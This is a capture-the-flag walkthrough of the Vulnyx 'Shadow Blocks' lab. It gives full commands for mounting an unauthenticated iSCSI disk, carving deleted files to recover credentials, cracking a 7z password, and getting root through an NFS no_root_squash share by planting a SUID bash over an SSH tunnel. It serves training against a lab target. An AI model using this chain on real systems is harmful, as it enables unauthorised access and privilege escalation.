
Writeup of the Shadow Blocks machine (Vulnyx): iSCSI exploitation and disk data recovery to leak credentials, and unprotected NFS for privilege escalation.
Table of Contents
Open table of contents
Enumeration

The first step in any CTF is to identify the attack surface. We run a port scan against the target IP.
$ nmap -p- -Pn 192.168.1.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-28 18:59 CET
Nmap scan report for 192.168.1.133
Host is up (0.00068s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
3260/tcp open iscsi
MAC Address: 08:00:27:54:16:99 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 108.76 seconds
Command explanation:
-p-: Scans all TCP ports (1-65535), not just the common ones. Essential in CTFs to avoid missing hidden vectors.-Pn: Skips host discovery by ping. Many machines block ICMP; with-Pnnmap assumes the host is up and goes straight to port scanning. Without it, we might get “Host seems down”.192.168.1.133: Target IP of the machine on the virtual network.
Result: Two open ports — 22 (SSH) for remote access and 3260 (iSCSI), a network storage protocol. Port 3260 is the standard for iSCSI (Internet Small Computer System Interface).
Next we refine the scan on those ports to get versions and scripts:
$ nmap -p22,3260 -sVC -Pn -n 192.168.1.133
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-28 19:04 CET
Nmap scan report for 192.168.1.133
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
3260/tcp open iscsi Synology DSM iSCSI
| iscsi-info:
| iqn.2026-02.nyx.shadowblocks:storage.disk1:
| Address: 192.168.1.133:3260,1
|_ Authentication: NOT required
MAC Address: 08:00:27:54:16:99 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.27 seconds
Command explanation:
-p22,3260: Scans only the detected open ports.-sV: Version detection — identifies the software and version (OpenSSH 10.0p2, Synology DSM iSCSI).-sC: Runs nmap default scripts; among themiscsi-info, which queries iSCSI targets and reveals sensitive configuration.-n: Disables reverse DNS resolution for faster runs.-Pn: Skips ping discovery.
Key finding: The iscsi-info script discovers that the iSCSI target does not require authentication (Authentication: NOT required) and exposes the IQN: iqn.2026-02.nyx.shadowblocks:storage.disk1. Anyone on the network can connect to the disk.
iSCSI Service
iSCSI exposes hard drives over TCP/IP. Clients connect to a “target” identified by an IQN and can mount the disk as a block device. With authentication disabled, anyone can access it.
We confirm and manage the connection with iscsiadm:
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.1.133
192.168.1.133:3260,1 iqn.2026-02.nyx.shadowblocks:storage.disk1
Explanation: -m discovery explores available targets; -t sendtargets uses the standard iSCSI SendTargets method; -p specifies the portal (IP:port). The result confirms the IQN and address.
We log in to attach the disk as a local device:
sudo iscsiadm -m node --targetname="iqn.2026-02.nyx.shadowblocks:storage.disk1" -p 192.168.1.133:3260 --login
Explanation: -m node manages the session with the target; --targetname identifies the disk; --login establishes the connection. The kernel assigns a block device (usually the next available after /dev/sda).
After login, the disk appears as a local device. With fdisk -l or lsblk we check:
$ sudo fdisk -l
Disk /dev/sda: 80,09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VBOX HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x6c9b1d52
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 167968749 167966702 80,1G 83 Linux
Disk /dev/sdb: 150 MiB, 157286400 bytes, 307200 sectors
Disk model: shadowblocks
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 8388608 bytes
Disklabel type: dos
Disk identifier: 0x2566cb3e
Device Boot Start End Sectors Size Id Type
/dev/sdb1 2048 307199 305152 149M 83 Linux
We see /dev/sdb (model “shadowblocks”, 150 MiB) with partition /dev/sdb1 (type 83 = Linux). We mount and explore:
sudo mkdir /mnt/iscsi
sudo mount /dev/sdb1 /mnt/iscsi
find /mnt/iscsi -ls
Explanation:
mkdir /mnt/iscsi: Mount point where the filesystem will be exposed.mount /dev/sdb1 /mnt/iscsi: Attaches the partition to the directory; we can then access files visible on the filesystem.find ... -ls: Recursive list of files with permissions, owner, and size.
Important: We only see files that are still in the filesystem. Deleted files are no longer in the inode table, but their data may still reside in unreassigned sectors. That is why “normal” enumeration does not reveal credentials; we need forensic techniques.
Credential Leakage
Deleted files do not vanish immediately: the system marks blocks as free, but the data remains on disk until overwritten. We can recover them through file carving on unallocated space or a forensic image.
Process:
- Unmount — To work on raw sectors without kernel cache interference.
- Create forensic image — Working on a copy avoids altering the original disk and follows forensics best practices.
- Recover with Photorec — Scans sectors for known file headers and footers (signatures) to extract files even if they have no filesystem entry.
# Unmount to access raw sectors
sudo umount /mnt/iscsi
# Forensic image: we do not modify the original
sudo dd if=/dev/sdb1 of=iscsi.img bs=4M status=progress
# Recover files from freed space (file carving)
sudo photorec iscsi.img
In Photorec we select the disk

the whole disk space

the disk format

and then with the “C” key we choose where to save all recovered files.

Files are stored in recup_dir.X/ folders. There are usually text files and 7z archives. Extracting a 7z will prompt for a password, so we need to crack it.
Cracking 7z Files
7z2john extracts the password hash from the 7z file so John the Ripper can try passwords by brute force or dictionary. Use the correct 7z filename (it may vary depending on recovery).
7z2john recup_dir.1/f0018434.7z > hash
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
Explanation:
7z2john file.7z > hash: Converts the 7z encrypted metadata to a format John understands. The hash includes the salt and AES parameters; John will try passwords until it finds the right one.john --wordlist=rockyou.txt ./hash: Tries each line of rockyou.txt as a password. rockyou.txt is a common dictionary of weak/reused passwords.
We get the password donald.
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 6 for all loaded hashes
Cost 3 (compression type) is 0 for all loaded hashes
Cost 4 (data length) is 122 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key to status
donald (?)
1g 0:00:00:04 DONE (2026-02-28 19:51) 0.2105g/s 215.5p/s 215.5c/s 215.5C/s marie1..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We extract the 7z with password donald. The filename may differ from the one used for the hash (e.g. f0018448.7z if it contains credentials.txt).
7z e recup_dir.1/f0018448.7z
Explanation: 7z e extracts the file contents (extract mode). It will ask for the password; entering donald will extract the files to the current directory.
Inside we find credentials.txt, the file that had been deleted from the disk and recovered by Photorec.
Note: The password has been redacted so as not to make the machine easier for those who want to practice it.
$ cat credentials.txt
ShadowBlocks Internal Access Credentials
=======================================
System: Primary Storage Node
Environment: Production
Access Level: Administrative
Username: lenam
Password: ********
Note:
This file is intended for temporary migration procedures only.
It must be deleted after use.
Last reviewed: 2026-02-15
We use these credentials to access the server via SSH (user lenam, password from the file):
ssh lenam@192.168.1.133
Reason: The credentials we found were for “migration” and were supposed to be deleted, but they remained in unwritten sectors of the iSCSI disk. By connecting we get a lenam user shell to continue the escalation.
Privilege Escalation
With lenam privileges we check local ports (netstat, ss) or run tools like LinPEAS. This reveals the NFS service (ports 2049, 111 and other dynamic ones) with a dangerous configuration: no_root_squash.
Note: NFS ports (2049, 111, etc.) were not visible from outside in the initial nmap scan; they were only accessible locally on the victim machine. That is why we need the SSH tunnel to mount the export from our Kali.
What is no_root_squash: By default NFS “squashes” the client’s root user and maps it to nobody for security. With no_root_squash, the client’s root keeps UID 0 on the server. If we can write to the export as root (from a machine we control) and then run what we wrote from the victim, we can escalate to root.
Reference: NFS no_root_squash (HackTricks)
We check NFS exports on the server:
lenam@shadowblocks:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/srv/nfs *(rw,sync,fsid=0,no_subtree_check,no_root_squash,insecure)
/etc/exports analysis:
/srv/nfs: Exported directory.*: Any client can mount.rw: Read and write.no_root_squash: Vulnerable — client root keeps UID 0.insecure: Allows connections from ports >1024 (required for the tunnel).
Exploitation
NFS typically listens only on localhost or an internal interface. If we have no direct access, we use an SSH tunnel to forward the NFS port to our machine:
ssh -L 2049:127.0.0.1:2049 lenam@192.168.1.133
Tunnel explanation: -L 2049:127.0.0.1:2049 forwards local port 2049 on our Kali to port 2049 on the target machine’s localhost. So when connecting to 127.0.0.1:2049 from Kali, traffic reaches the server’s NFS via SSH.
In another terminal, with the SSH tunnel open and running the commands as root on Kali (needed for NFS to interpret our actions as UID 0), we mount the export and copy a bash with SUID bit:
mkdir -p /mnt/nfs
mount -t nfs -o vers=4 127.0.0.1:/ /mnt/nfs
cp /bin/bash /mnt/nfs/bashroot
chmod u+s /mnt/nfs/bashroot
Why it works:
mount ... 127.0.0.1:/: We mount as root on our Kali; thanks to the tunnel the server’s NFS receives the request.no_root_squashcauses our root operations on the share to be reflected as UID 0 on the server.cp /bin/bashandchmod u+s: We copy the binary and set the SUID bit. On the server the file ends up owned by root with SUID.- When running
/srv/nfs/bashroot -paslenam, the kernel sees the SUID bit and runs the process as the file owner (root). The-pflag prevents bash from dropping privileges when invoked with SUID.
In the SSH session as lenam:
/srv/nfs/bashroot -p
We get a shell with UID 0 (root).
We can read the flags with:
cat /home/lenam/user.txt # After obtaining access as lenam
cat /root/root.txt # After escalating to root
Conclusions
Shadow Blocks combines several techniques: unauthenticated iSCSI storage access, forensic recovery of deleted files, password cracking, and misconfigured NFS exploitation. The “temporary” credentials were never securely deleted (deleted without overwriting), and NFS with no_root_squash allowed escalating from user to root using a SUID binary placed via SSH tunnel.
Key points:
- Unauthenticated iSCSI exposes disks to the entire network.
- Deleted files can be recovered if their sectors have not been overwritten.
- Weak passwords (dictionary) remain a common vector.
- NFS with
no_root_squashallows privilege escalation if an attacker with access (in this case, lenam via SSH tunnel) can mount the export as root and place a SUID binary.